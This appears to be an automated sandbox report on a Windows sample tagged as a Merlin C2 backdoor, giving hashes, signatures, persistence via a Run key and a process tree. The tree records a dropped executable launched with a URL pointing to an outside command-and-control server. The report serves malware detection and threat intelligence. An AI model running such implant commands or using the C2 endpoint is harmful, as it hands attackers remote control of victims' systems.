Overview

overview

10

Static

static

3

2024-08-22...ch.exe

windows7-x64

10

2024-08-22...ch.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    130s
  • max time network
    133s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-08-2024 00:08

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General

  • Target

    2024-08-22_c7bd4b9e418c201f25af07c424418f92_snatch.exe

  • Size

    16.9MB

  • MD5

    c7bd4b9e418c201f25af07c424418f92

  • SHA1

    6e0e2ce756d53511447b56f57a8d5f9c58f66dea

  • SHA256

    1a490bdca46dce6160857063eb29df68d0605cba0ef9e5be4186910a228554ee

  • SHA512

    27b3283ff3720ae8d94436048b659aae2ded4cd122a00f1caf6e737fadd4f3688e14177bc480f8b1a7eb342a8e9156295348140b74d235e49236b77b851fff11

  • SSDEEP

    49152:CPSw9ndEUyBOCP8EehUfpoCghtqYDnI+5aK6XHRZ5uVx:zleOStftIZ

Score
10/10
merlinbackdoorpersistence

Malware Config

Signatures

  • Merlin

    Merlin is a cross-platform post-exploitation C2 framework written in golang.

    backdoormerlin
  • Merlin payload 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-08-22_c7bd4b9e418c201f25af07c424418f92_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-08-22_c7bd4b9e418c201f25af07c424418f92_snatch.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:2364
    • C:\Users\Admin\AppData\Local\Temp\hnqo.exe
      C:\Users\Admin\AppData\Local\Temp\hnqo.exe -url https://70.95.122.165:4443/
      2⤵
      • Executes dropped EXE
      PID:2324
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4360,i,7447299413640964517,4240724842020506306,262144 --variations-seed-version --mojo-platform-channel-handle=4408 /prefetch:8
    1⤵
      PID:772

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\hnqo.exe
      Filesize

      6.2MB

      MD5

      af435b848f7979f05494b9c517362f26

      SHA1

      91458acd430dcf32ed1e161ae084f844868a972b

      SHA256

      a509fc81910bc9e25a5fac4cbde6d99b54ea1cfecd8d58522f17a930fc342f20

      SHA512

      7fc0cd37833254c530c85e8afd4289daffd332bf04b9f8bca8e9327faa4e67b913648c6a2e753bcb4d61134ff0b2534ff72e77dff3fe1fb7c20839015b5cd838

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